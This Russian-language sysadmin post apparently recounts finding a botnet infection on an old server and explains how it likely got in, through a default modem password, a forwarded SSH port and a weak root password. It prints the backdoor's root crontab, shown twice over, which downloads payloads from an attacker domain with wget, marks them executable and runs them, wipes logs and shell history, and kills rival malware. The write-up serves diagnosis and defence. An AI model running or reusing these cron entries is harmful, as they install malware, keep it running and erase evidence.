Недавно достался на обслуживание старенький сервер, в ходе работы которого регулярно возникали проблемы с раздачей интернета через прокси. В ходе разбирательств выяснилось, что сервер учавствует в ботнете, проявлялось это в следующем:
в списке процессов висел процесс /etc/sfewfesfs и /etc/.SSH
крайне большой для этого сервера исходящий траффик
eth1: Jun ཊ 18.97 GiB / 145.58 GiB / 164.55 GiB
статистика использовать внешнего интерфейса при участии компьютера в ботнете
постоянное ssh соединие с китайским адресом из 116.10.191.0/24
Зараза скорее всего попала следующим образом:
раньше сервер находился за натом своего ADSL модема, имел крепкие пароли на модеме, но слабые пароли на самом сервере. Через несколько лет, после перезаключение ADSL договора им заменили модем, на которым до недавнего времени были настройки по умолчанию, то-есть всем известный логин/пароль админ/админ. При этом кто-то из предыдущих админов пробрасывал 22 порт на сервер и биндил модем на dyndns.org. Таким образом достаточно было в ходе сканирования зайти на ssh сервер с простым паролем root и установить всё что нужно.
Работает бакдор следующим образом:
в cron пользователя root (/var/spool/cron/crontabs/root) записывается много правил, которые регулярно обновляют вирус
*/100 * * * * nohup /etc/sdmfdsfhjfe > /dev/null 2>&1&
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/dsfrefr
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/gfhjrtfyhuf
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sfewfesfs
*/120 * * * * cd /root;rm -rf dir nohup.out
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/gfhddsfew
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sdmfdsfhjfe
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ferwfrre
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/rewgtf3er4t
*/1 * * * * cd /etc;rm -rf dir dsfrefr.*
*/1 * * * * cd /etc;rm -rf dir ferwfrre.*
*/1 * * * * cd /etc;rm -rf dir gfhddsfew.*
*/1 * * * * cd /etc;rm -rf dir gfhjrtfyhuf.*
*/1 * * * * cd /etc;rm -rf dir rewgtf3er4t.*
*/1 * * * * cd /etc;rm -rf dir sdmfdsfhjfe.*
*/1 * * * * cd /etc;rm -rf dir sfewfesfs.*
*/1 * * * * cd /root > .bash_history
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * chmod 7777 /etc/dsfrefr
*/1 * * * * chmod 7777 /etc/ferwfrre
*/1 * * * * chmod 7777 /etc/gfhddsfew
*/1 * * * * chmod 7777 /etc/gfhjrtfyhuf
*/1 * * * * chmod 7777 /etc/rewgtf3er4t
*/1 * * * * chmod 7777 /etc/sdmfdsfhjfe
*/1 * * * * chmod 7777 /etc/sfewfesfs
*/1 * * * * history -c
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 freeBSD
*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 profild.key
*/360 * * * * cd /etc;rm -rf dir dsfrefr
*/360 * * * * cd /etc;rm -rf dir ferwfrre
*/360 * * * * cd /etc;rm -rf dir gfhddsfew
*/360 * * * * cd /etc;rm -rf dir gfhjrtfyhuf
*/360 * * * * cd /etc;rm -rf dir rewgtf3er4t
*/360 * * * * cd /etc;rm -rf dir sdmfdsfhjfe
*/94 * * * * killall -9 dsfrefr
*/95 * * * * killall -9 ferwfrre
*/96 * * * * killall -9 rewgtf3er4t
*/97 * * * * killall -9 sdmfdsfhjfe
*/98 * * * * killall -9 gfhjrtfyhuf
*/99 * * * * killall -9 sdmfdsfhjfe
*/99 * * * * nohup /etc/gfhjrtfyhuf > /dev/null 2>&1&
*/99 * * * * nohup /etc/sfewfesfs > /dev/null 2>&1&
*/100 * * * * nohup /etc/sdmfdsfhjfe > /dev/null 2>&1&
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/dsfrefr
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/gfhjrtfyhuf
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sfewfesfs
*/120 * * * * cd /root;rm -rf dir nohup.out
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/gfhddsfew
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sdmfdsfhjfe
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ferwfrre
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/rewgtf3er4t
*/1 * * * * cd /etc;rm -rf dir dsfrefr.*
*/1 * * * * cd /etc;rm -rf dir ferwfrre.*
*/1 * * * * cd /etc;rm -rf dir gfhddsfew.*
*/1 * * * * cd /etc;rm -rf dir gfhjrtfyhuf.*
*/1 * * * * cd /etc;rm -rf dir rewgtf3er4t.*
*/1 * * * * cd /etc;rm -rf dir sdmfdsfhjfe.*
*/1 * * * * cd /etc;rm -rf dir sfewfesfs.*
*/1 * * * * cd /root > .bash_history
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * chmod 7777 /etc/dsfrefr
*/1 * * * * chmod 7777 /etc/ferwfrre
*/1 * * * * chmod 7777 /etc/gfhddsfew
*/1 * * * * chmod 7777 /etc/gfhjrtfyhuf
*/1 * * * * chmod 7777 /etc/rewgtf3er4t
*/1 * * * * chmod 7777 /etc/sdmfdsfhjfe
*/1 * * * * chmod 7777 /etc/sfewfesfs
*/1 * * * * history -c
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 freeBSD
*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 profild.key
*/360 * * * * cd /etc;rm -rf dir dsfrefr
*/360 * * * * cd /etc;rm -rf dir ferwfrre
*/360 * * * * cd /etc;rm -rf dir gfhddsfew
*/360 * * * * cd /etc;rm -rf dir gfhjrtfyhuf
*/360 * * * * cd /etc;rm -rf dir rewgtf3er4t
*/360 * * * * cd /etc;rm -rf dir sdmfdsfhjfe
*/94 * * * * killall -9 dsfrefr
*/95 * * * * killall -9 ferwfrre
*/96 * * * * killall -9 rewgtf3er4t
*/97 * * * * killall -9 sdmfdsfhjfe
*/98 * * * * killall -9 gfhjrtfyhuf
*/99 * * * * killall -9 sdmfdsfhjfe
*/99 * * * * nohup /etc/gfhjrtfyhuf > /dev/null 2>&1&*/99 * * * * nohup /etc/sfewfesfs > /dev/null 2>&1&